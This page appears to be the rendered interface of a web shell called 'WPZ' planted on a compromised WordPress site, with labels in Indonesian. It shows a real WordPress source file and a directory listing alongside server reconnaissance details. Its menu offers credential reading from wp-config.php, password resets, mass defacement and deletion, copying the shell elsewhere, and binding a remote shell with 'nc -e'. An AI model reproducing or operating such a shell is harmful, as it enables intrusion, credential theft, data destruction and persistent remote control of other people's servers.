WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-includes / block-supports / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-includes/block-supports/block-visibility.php (4.01 KB)
<?php
/**
 * Block visibility block support flag.
 *
 * @package WordPress
 * @since 6.9.0
 */

/**
 * Render nothing if the block is hidden, or add viewport visibility styles.
 *
 * @since 6.9.0
 * @since 7.0.0 Added support for viewport visibility.
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_block_visibility_support( $block_content, $block ) {
	$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );

	if ( ! $block_type ) {
		return $block_content;
	}

	$block_visibility = $block['attrs']['metadata']['blockVisibility'] ?? null;

	// Hide the block whenever the value is boolean false, regardless of the
	// block's current visibility support. This prevents blocks that previously
	// supported visibility from unintentionally appearing on the front end
	// after their support was disabled.
	if ( false === $block_visibility ) {
		return '';
	}

	if ( ! block_has_support( $block_type, 'visibility', true ) ) {
		return $block_content;
	}

	if ( is_array( $block_visibility ) && ! empty( $block_visibility ) ) {
		$viewport_config = $block_visibility['viewport'] ?? null;

		if ( ! is_array( $viewport_config ) || empty( $viewport_config ) ) {
			return $block_content;
		}
		$viewport_settings      = wp_get_global_settings( array( 'viewport' ) );
		$viewport_media_queries = WP_Theme_JSON::get_viewport_media_queries(
			$viewport_settings,
			array(
				'include_desktop' => true,
			)
		);

		/*
		 * Viewport media queries are keyed by style-state names (`@mobile`,
		 * `@tablet`, and `@desktop`). Block visibility metadata and generated
		 * classes use plain viewport names, so map the keys at this boundary.
		 */
		$block_visibility_media_queries = array();
		foreach ( $viewport_media_queries as $viewport_state => $media_query ) {
			$block_visibility_media_queries[ ltrim( $viewport_state, '@' ) ] = $media_query;
		}
		$viewport_media_queries = $block_visibility_media_queries;

		$hidden_on = array();

		// Collect which viewport the block is hidden on (only known viewport sizes).
		foreach ( $viewport_config as $viewport_config_size => $is_visible ) {
			if ( false === $is_visible && isset( $viewport_media_queries[ $viewport_config_size ] ) ) {
				$hidden_on[] = $viewport_config_size;
			}
		}

		// If no viewport sizes have visibility set to false, return unchanged.
		if ( empty( $hidden_on ) ) {
			return $block_content;
		}

		// Maintain consistent order of viewport sizes for class name generation.
		sort( $hidden_on );

		$css_rules   = array();
		$class_names = array();

		foreach ( $hidden_on as $hidden_viewport_size ) {
			/*
			 * If these values ever become user-defined,
			 * they should be sanitized and kebab-cased.
			 */
			$visibility_class = 'wp-block-hidden-' . $hidden_viewport_size;
			$class_names[]    = $visibility_class;
			$css_rules[]      = array(
				'selector'     => '.' . $visibility_class,
				'declarations' => array(
					'display' => 'none !important',
				),
				'rules_group'  => $viewport_media_queries[ $hidden_viewport_size ],
			);
		}

		wp_style_engine_get_stylesheet_from_css_rules(
			$css_rules,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);

		if ( ! empty( $block_content ) ) {
			$processor = new WP_HTML_Tag_Processor( $block_content );
			if ( $processor->next_tag() ) {
				$processor->add_class( implode( ' ', $class_names ) );

				/*
				 * Set all IMG tags to be `fetchpriority=auto` so that wp_get_loading_optimization_attributes() won't add
				 * `fetchpriority=high` or increment the media count to affect whether subsequent IMG tags get `loading=lazy`.
				 */
				do {
					if ( 'IMG' === $processor->get_tag() ) {
						$processor->set_attribute( 'fetchpriority', 'auto' );
					}
				} while ( $processor->next_tag() );
				$block_content = $processor->get_updated_html();
			}
		}
	}

	return $block_content;
}

add_filter( 'render_block', 'wp_render_block_visibility_support', 10, 2 );
namawaktuukuranownerpermaksi
..
align.php 2026-02-23 19:411.67 KB 76129f60960:kunden-xw-x-----
edt
anchor.php 2026-05-21 09:111.54 KB 76129f60960:kunden-xw-x--x--
edt
aria-label.php 2026-05-21 09:111.65 KB 76129f60960:kunden-xw-x--x--
edt
auto-register.php 2026-05-21 09:112.18 KB 76129f60960:kunden-xw-x--x--
edt
background.php 2026-08-20 11:464.79 KB 76129f60960:kunden-xw-x-----
edt
block-style-variations.php 2026-08-20 11:469.59 KB 76129f60960:kunden-xw-x--x--
edt
block-visibility.php 2026-08-20 11:464.01 KB 76129f60960:kunden-xw-x--x--
edt
border.php 2026-05-21 09:116.1 KB 76129f60960:kunden-xw-x--x--
edt
colors.php 2026-08-20 11:465.97 KB 76129f60960:kunden-xw-x--x--
edt
custom-classname.php 2026-02-23 19:411.64 KB 76129f60960:kunden-xw-x-----
edt
custom-css.php 2026-08-20 11:4610.04 KB 76129f60960:kunden-xw-x--x--
edt
dimensions.php 2026-08-20 11:465.85 KB 76129f60960:kunden-xw-x--x--
edt
duotone.php 2026-02-23 19:412.67 KB 76129f60960:kunden-xw-x-----
edt
elements.php 2026-08-20 11:469.31 KB 76129f60960:kunden-xw-x--x--
edt
generated-classname.php 2026-02-23 19:411.7 KB 76129f60960:kunden-xw-x-----
edt
layout.php 2026-08-20 11:4659.47 KB 76129f60960:kunden-xw-x--x--
edt
position.php 2026-05-21 09:114.01 KB 76129f60960:kunden-xw-x--x--
edt
settings.php 2026-08-20 11:464.44 KB 76129f60960:kunden-xw-x--x--
edt
shadow.php 2026-02-23 19:412.04 KB 76129f60960:kunden-xw-x-----
edt
spacing.php 2026-05-21 09:112.68 KB 76129f60960:kunden-xw-x--x--
edt
states.php 2026-09-18 04:0121.66 KB 76129f60960:kunden-xw-x--x--
edt
typography.php 2026-08-20 11:4627.97 KB 76129f60960:kunden-xw-x--x--
edt
utils.php 2026-02-23 19:411011 B 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-includes/block-supports
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK